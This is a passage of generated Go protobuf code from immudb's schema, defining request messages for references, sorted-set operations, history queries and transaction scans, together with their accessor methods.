json:\"boundRef,omitempty\"`\n\t// If true, do not wait for the indexer to index this write operation\n\tNoWait bool `protobuf:\"varint,5,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// Preconditions to be met to perform the write\n\tPreconditions []*Precondition `protobuf:\"bytes,6,rep,name=preconditions,proto3\" json:\"preconditions,omitempty\"`\n}\n\nfunc (x *ReferenceRequest) Reset() {\n\t*x = ReferenceRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[52]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ReferenceRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ReferenceRequest) ProtoMessage() {}\n\nfunc (x *ReferenceRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[52]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ReferenceRequest.ProtoReflect.Descriptor instead.\nfunc (*ReferenceRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{52}\n}\n\nfunc (x *ReferenceRequest) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *ReferenceRequest) GetReferencedKey() []byte {\n\tif x != nil {\n\t\treturn x.ReferencedKey\n\t}\n\treturn nil\n}\n\nfunc (x *ReferenceRequest) GetAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.AtTx\n\t}\n\treturn 0\n}\n\nfunc (x *ReferenceRequest) GetBoundRef() bool {\n\tif x != nil {\n\t\treturn x.BoundRef\n\t}\n\treturn false\n}\n\nfunc (x *ReferenceRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *ReferenceRequest) GetPreconditions() []*Precondition {\n\tif x != nil {\n\t\treturn x.Preconditions\n\t}\n\treturn nil\n}\n\ntype VerifiableReferenceRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Reference data\n\tReferenceRequest *ReferenceRequest `protobuf:\"bytes,1,opt,name=referenceRequest,proto3\" json:\"referenceRequest,omitempty\"`\n\t// When generating the proof, generate consistency proof with state from this\n\t// transaction\n\tProveSinceTx uint64 `protobuf:\"varint,2,opt,name=proveSinceTx,proto3\" json:\"proveSinceTx,omitempty\"`\n}\n\nfunc (x *VerifiableReferenceRequest) Reset() {\n\t*x = VerifiableReferenceRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[53]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableReferenceRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableReferenceRequest) ProtoMessage() {}\n\nfunc (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[53]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableReferenceRequest.ProtoReflect.Descriptor instead.\nfunc (*VerifiableReferenceRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{53}\n}\n\nfunc (x *VerifiableReferenceRequest) GetReferenceRequest() *ReferenceRequest {\n\tif x != nil {\n\t\treturn x.ReferenceRequest\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableReferenceRequest) GetProveSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.ProveSinceTx\n\t}\n\treturn 0\n}\n\ntype ZAddRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Name of the sorted set\n\tSet []byte `protobuf:\"bytes,1,opt,name=set,proto3\" json:\"set,omitempty\"`\n\t// Score of the new entry\n\tScore float64 `protobuf:\"fixed64,2,opt,name=score,proto3\" json:\"score,omitempty\"`\n\t// Referenced key\n\tKey []byte `protobuf:\"bytes,3,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// If boundRef == true, id of the transaction to bind with the reference\n\tAtTx uint64 `protobuf:\"varint,4,opt,name=atTx,proto3\" json:\"atTx,omitempty\"`\n\t// If true, bind the reference to particular transaction, if false, use the\n\t// most recent value of the key\n\tBoundRef bool `protobuf:\"varint,5,opt,name=boundRef,proto3\" json:\"boundRef,omitempty\"`\n\t// If true, do not wait for the indexer to index this write operation\n\tNoWait bool `protobuf:\"varint,6,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n}\n\nfunc (x *ZAddRequest) Reset() {\n\t*x = ZAddRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[54]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ZAddRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ZAddRequest) ProtoMessage() {}\n\nfunc (x *ZAddRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[54]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ZAddRequest.ProtoReflect.Descriptor instead.\nfunc (*ZAddRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{54}\n}\n\nfunc (x *ZAddRequest) GetSet() []byte {\n\tif x != nil {\n\t\treturn x.Set\n\t}\n\treturn nil\n}\n\nfunc (x *ZAddRequest) GetScore() float64 {\n\tif x != nil {\n\t\treturn x.Score\n\t}\n\treturn 0\n}\n\nfunc (x *ZAddRequest) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *ZAddRequest) GetAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.AtTx\n\t}\n\treturn 0\n}\n\nfunc (x *ZAddRequest) GetBoundRef() bool {\n\tif x != nil {\n\t\treturn x.BoundRef\n\t}\n\treturn false\n}\n\nfunc (x *ZAddRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\ntype Score struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Entry's score value\n\tScore float64 `protobuf:\"fixed64,1,opt,name=score,proto3\" json:\"score,omitempty\"`\n}\n\nfunc (x *Score) Reset() {\n\t*x = Score{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[55]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Score) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Score) ProtoMessage() {}\n\nfunc (x *Score) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[55]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Score.ProtoReflect.Descriptor instead.\nfunc (*Score) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{55}\n}\n\nfunc (x *Score) GetScore() float64 {\n\tif x != nil {\n\t\treturn x.Score\n\t}\n\treturn 0\n}\n\ntype ZScanRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Name of the sorted set\n\tSet []byte `protobuf:\"bytes,1,opt,name=set,proto3\" json:\"set,omitempty\"`\n\t// Key to continue the search at\n\tSeekKey []byte `protobuf:\"bytes,2,opt,name=seekKey,proto3\" json:\"seekKey,omitempty\"`\n\t// Score of the entry to continue the search at\n\tSeekScore float64 `protobuf:\"fixed64,3,opt,name=seekScore,proto3\" json:\"seekScore,omitempty\"`\n\t// AtTx of the entry to continue the search at\n\tSeekAtTx uint64 `protobuf:\"varint,4,opt,name=seekAtTx,proto3\" json:\"seekAtTx,omitempty\"`\n\t// If true, include the entry given with the `seekXXX` attributes, if false,\n\t// skip the entry and start after that one\n\tInclusiveSeek bool `protobuf:\"varint,5,opt,name=inclusiveSeek,proto3\" json:\"inclusiveSeek,omitempty\"`\n\t// Maximum number of entries to return, if 0, the default limit will be used\n\tLimit uint64 `protobuf:\"varint,6,opt,name=limit,proto3\" json:\"limit,omitempty\"`\n\t// If true, scan entries in descending order\n\tDesc bool `protobuf:\"varint,7,opt,name=desc,proto3\" json:\"desc,omitempty\"`\n\t// Minimum score of entries to scan\n\tMinScore *Score `protobuf:\"bytes,8,opt,name=minScore,proto3\" json:\"minScore,omitempty\"`\n\t// Maximum score of entries to scan\n\tMaxScore *Score `protobuf:\"bytes,9,opt,name=maxScore,proto3\" json:\"maxScore,omitempty\"`\n\t// If > 0, do not wait for the indexer to index all entries, only require\n\t// entries up to sinceTx to be indexed\n\tSinceTx uint64 `protobuf:\"varint,10,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// Deprecated: If set to true, do not wait for the indexer to be up to date\n\tNoWait bool `protobuf:\"varint,11,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// Specify the index of initial entry to be returned by excluding the initial\n\t// set of entries (alternative to seekXXX attributes)\n\tOffset uint64 `protobuf:\"varint,12,opt,name=offset,proto3\" json:\"offset,omitempty\"`\n}\n\nfunc (x *ZScanRequest) Reset() {\n\t*x = ZScanRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[56]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ZScanRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ZScanRequest) ProtoMessage() {}\n\nfunc (x *ZScanRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[56]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ZScanRequest.ProtoReflect.Descriptor instead.\nfunc (*ZScanRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{56}\n}\n\nfunc (x *ZScanRequest) GetSet() []byte {\n\tif x != nil {\n\t\treturn x.Set\n\t}\n\treturn nil\n}\n\nfunc (x *ZScanRequest) GetSeekKey() []byte {\n\tif x != nil {\n\t\treturn x.SeekKey\n\t}\n\treturn nil\n}\n\nfunc (x *ZScanRequest) GetSeekScore() float64 {\n\tif x != nil {\n\t\treturn x.SeekScore\n\t}\n\treturn 0\n}\n\nfunc (x *ZScanRequest) GetSeekAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.SeekAtTx\n\t}\n\treturn 0\n}\n\nfunc (x *ZScanRequest) GetInclusiveSeek() bool {\n\tif x != nil {\n\t\treturn x.InclusiveSeek\n\t}\n\treturn false\n}\n\nfunc (x *ZScanRequest) GetLimit() uint64 {\n\tif x != nil {\n\t\treturn x.Limit\n\t}\n\treturn 0\n}\n\nfunc (x *ZScanRequest) GetDesc() bool {\n\tif x != nil {\n\t\treturn x.Desc\n\t}\n\treturn false\n}\n\nfunc (x *ZScanRequest) GetMinScore() *Score {\n\tif x != nil {\n\t\treturn x.MinScore\n\t}\n\treturn nil\n}\n\nfunc (x *ZScanRequest) GetMaxScore() *Score {\n\tif x != nil {\n\t\treturn x.MaxScore\n\t}\n\treturn nil\n}\n\nfunc (x *ZScanRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *ZScanRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *ZScanRequest) GetOffset() uint64 {\n\tif x != nil {\n\t\treturn x.Offset\n\t}\n\treturn 0\n}\n\ntype HistoryRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Name of the key to query for the history\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// Specify the initial entry to be returned by excluding the initial set of\n\t// entries\n\tOffset uint64 `protobuf:\"varint,2,opt,name=offset,proto3\" json:\"offset,omitempty\"`\n\t// Maximum number of entries to return\n\tLimit int32 `protobuf:\"varint,3,opt,name=limit,proto3\" json:\"limit,omitempty\"`\n\t// If true, search in descending order\n\tDesc bool `protobuf:\"varint,4,opt,name=desc,proto3\" json:\"desc,omitempty\"`\n\t// If > 0, do not wait for the indexer to index all entries, only require\n\t// entries up to sinceTx to be indexed\n\tSinceTx uint64 `protobuf:\"varint,5,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n}\n\nfunc (x *HistoryRequest) Reset() {\n\t*x = HistoryRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[57]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *HistoryRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*HistoryRequest) ProtoMessage() {}\n\nfunc (x *HistoryRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[57]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead.\nfunc (*HistoryRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{57}\n}\n\nfunc (x *HistoryRequest) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *HistoryRequest) GetOffset() uint64 {\n\tif x != nil {\n\t\treturn x.Offset\n\t}\n\treturn 0\n}\n\nfunc (x *HistoryRequest) GetLimit() int32 {\n\tif x != nil {\n\t\treturn x.Limit\n\t}\n\treturn 0\n}\n\nfunc (x *HistoryRequest) GetDesc() bool {\n\tif x != nil {\n\t\treturn x.Desc\n\t}\n\treturn false\n}\n\nfunc (x *HistoryRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\ntype VerifiableZAddRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Data for new sorted set entry\n\tZAddRequest *ZAddRequest `protobuf:\"bytes,1,opt,name=zAddRequest,proto3\" json:\"zAddRequest,omitempty\"`\n\t// When generating the proof, generate consistency proof with state from this transaction\n\tProveSinceTx uint64 `protobuf:\"varint,2,opt,name=proveSinceTx,proto3\" json:\"proveSinceTx,omitempty\"`\n}\n\nfunc (x *VerifiableZAddRequest) Reset() {\n\t*x = VerifiableZAddRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[58]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableZAddRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableZAddRequest) ProtoMessage() {}\n\nfunc (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[58]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableZAddRequest.ProtoReflect.Descriptor instead.\nfunc (*VerifiableZAddRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{58}\n}\n\nfunc (x *VerifiableZAddRequest) GetZAddRequest() *ZAddRequest {\n\tif x != nil {\n\t\treturn x.ZAddRequest\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableZAddRequest) GetProveSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.ProveSinceTx\n\t}\n\treturn 0\n}\n\ntype TxRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction id to query for\n\tTx uint64 `protobuf:\"varint,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// Specification for parsing entries, if empty, entries are returned in raw form\n\tEntriesSpec *EntriesSpec `protobuf:\"bytes,2,opt,name=entriesSpec,proto3\" json:\"entriesSpec,omitempty\"`\n\t// If > 0, do not wait for the indexer to index all entries, only require\n\t// entries up to sinceTx to be indexed, will affect resolving references\n\tSinceTx uint64 `protobuf:\"varint,3,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// Deprecated: If set to true, do not wait for the indexer to be up to date\n\tNoWait bool `protobuf:\"varint,4,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// If set to true, do not resolve references (avoid looking up final values if not needed)\n\tKeepReferencesUnresolved bool `protobuf:\"varint,5,opt,name=keepReferencesUnresolved,proto3\" json:\"keepReferencesUnresolved,omitempty\"`\n}\n\nfunc (x *TxRequest) Reset() {\n\t*x = TxRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[59]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TxRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TxRequest) ProtoMessage() {}\n\nfunc (x *TxRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[59]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TxRequest.ProtoReflect.Descriptor instead.\nfunc (*TxRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{59}\n}\n\nfunc (x *TxRequest) GetTx() uint64 {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn 0\n}\n\nfunc (x *TxRequest) GetEntriesSpec() *EntriesSpec {\n\tif x != nil {\n\t\treturn x.EntriesSpec\n\t}\n\treturn nil\n}\n\nfunc (x *TxRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *TxRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *TxRequest) GetKeepReferencesUnresolved() bool {\n\tif x != nil {\n\t\treturn x.KeepReferencesUnresolved\n\t}\n\treturn false\n}\n\ntype EntriesSpec struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Specification for parsing KV entries\n\tKvEntriesSpec *EntryTypeSpec `protobuf:\"bytes,1,opt,name=kvEntriesSpec,proto3\" json:\"kvEntriesSpec,omitempty\"`\n\t// Specification for parsing sorted set entries\n\tZEntriesSpec *EntryTypeSpec `protobuf:\"bytes,2,opt,name=zEntriesSpec,proto3\" json:\"zEntriesSpec,omitempty\"`\n\t// Specification for parsing SQL entries\n\tSqlEntriesSpec *EntryTypeSpec `protobuf:\"bytes,3,opt,name=sqlEntriesSpec,proto3\" json:\"sqlEntriesSpec,omitempty\"`\n}\n\nfunc (x *EntriesSpec) Reset() {\n\t*x = EntriesSpec{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[60]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *EntriesSpec) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*EntriesSpec) ProtoMessage() {}\n\nfunc (x *EntriesSpec) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[60]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use EntriesSpec.ProtoReflect.Descriptor instead.\nfunc (*EntriesSpec) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{60}\n}\n\nfunc (x *EntriesSpec) GetKvEntriesSpec() *EntryTypeSpec {\n\tif x != nil {\n\t\treturn x.KvEntriesSpec\n\t}\n\treturn nil\n}\n\nfunc (x *EntriesSpec) GetZEntriesSpec() *EntryTypeSpec {\n\tif x != nil {\n\t\treturn x.ZEntriesSpec\n\t}\n\treturn nil\n}\n\nfunc (x *EntriesSpec) GetSqlEntriesSpec() *EntryTypeSpec {\n\tif x != nil {\n\t\treturn x.SqlEntriesSpec\n\t}\n\treturn nil\n}\n\ntype EntryTypeSpec struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Action to perform on entries\n\tAction EntryTypeAction `protobuf:\"varint,1,opt,name=action,proto3,enum=immudb.schema.EntryTypeAction\" json:\"action,omitempty\"`\n}\n\nfunc (x *EntryTypeSpec) Reset() {\n\t*x = EntryTypeSpec{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[61]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *EntryTypeSpec) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*EntryTypeSpec) ProtoMessage() {}\n\nfunc (x *EntryTypeSpec) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[61]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use EntryTypeSpec.ProtoReflect.Descriptor instead.\nfunc (*EntryTypeSpec) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{61}\n}\n\nfunc (x *EntryTypeSpec) GetAction() EntryTypeAction {\n\tif x != nil {\n\t\treturn x.Action\n\t}\n\treturn EntryTypeAction_EXCLUDE\n}\n\ntype VerifiableTxRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction ID\n\tTx uint64 `protobuf:\"varint,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// When generating the proof, generate consistency proof with state from this\n\t// transaction\n\tProveSinceTx uint64 `protobuf:\"varint,2,opt,name=proveSinceTx,proto3\" json:\"proveSinceTx,omitempty\"`\n\t// Specification of how to parse entries\n\tEntriesSpec *EntriesSpec `protobuf:\"bytes,3,opt,name=entriesSpec,proto3\" json:\"entriesSpec,omitempty\"`\n\t// If > 0, do not wait for the indexer to index all entries, only require\n\t// entries up to sinceTx to be indexed, will affect resolving references\n\tSinceTx uint64 `protobuf:\"varint,4,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// Deprecated: If set to true, do not wait for the indexer to be up to date\n\tNoWait bool `protobuf:\"varint,5,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// If set to true, do not resolve references (avoid looking up final values if not needed)\n\tKeepReferencesUnresolved bool `protobuf:\"varint,6,opt,name=keepReferencesUnresolved,proto3\" json:\"keepReferencesUnresolved,omitempty\"`\n}\n\nfunc (x *VerifiableTxRequest) Reset() {\n\t*x = VerifiableTxRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[62]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableTxRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableTxRequest) ProtoMessage() {}\n\nfunc (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[62]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableTxRequest.ProtoReflect.Descriptor instead.\nfunc (*VerifiableTxRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{62}\n}\n\nfunc (x *VerifiableTxRequest) GetTx() uint64 {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn 0\n}\n\nfunc (x *VerifiableTxRequest) GetProveSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.ProveSinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *VerifiableTxRequest) GetEntriesSpec() *EntriesSpec {\n\tif x != nil {\n\t\treturn x.EntriesSpec\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableTxRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *VerifiableTxRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *VerifiableTxRequest) GetKeepReferencesUnresolved() bool {\n\tif x != nil {\n\t\treturn x.KeepReferencesUnresolved\n\t}\n\treturn false\n}\n\ntype TxScanRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// ID of the transaction where scanning should start\n\tInitialTx uint64 `protobuf:\"varint,1,opt,name=initialTx,proto3\" json:\"initialTx,omitempty\"`\n\t// Maximum number of transactions to scan, when not specified the default limit is used\n\tLimit uint32 `protobuf:\"varint,2,opt,name=limit,proto3\" json:\"limit,omitempty\"`\n\t// If set to true, scan transactions in descending order\n\tDesc bool `protobuf:\"varint,3,opt,name=desc,proto3\" json:\"desc,omitempty\"`\n\t// Specification of how to parse entries\n\tEntriesSpec *EntriesSpec `protobuf:\"bytes,4,opt,name=entriesSpec,proto3\" json:\"entriesSpec,omitempty\"`\n\t// If > 0, do not wait for the indexer to index all entries, only require\n\t// entries up to sinceTx to be indexed, will affect resolving references\n\tSinceTx uint64 `protobuf:\"varint,5,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// Deprecated: If set to true, do not wait for the indexer to be up to date\n\tNoWait bool `protobuf:\"varint,6,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n}\n\nfunc (x *TxScanRequest) Reset() {\n\t*x = TxScanRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[63]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TxScanRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TxScanRequest) ProtoMessage() {}\n\nfunc (x *TxScanRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[63]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := 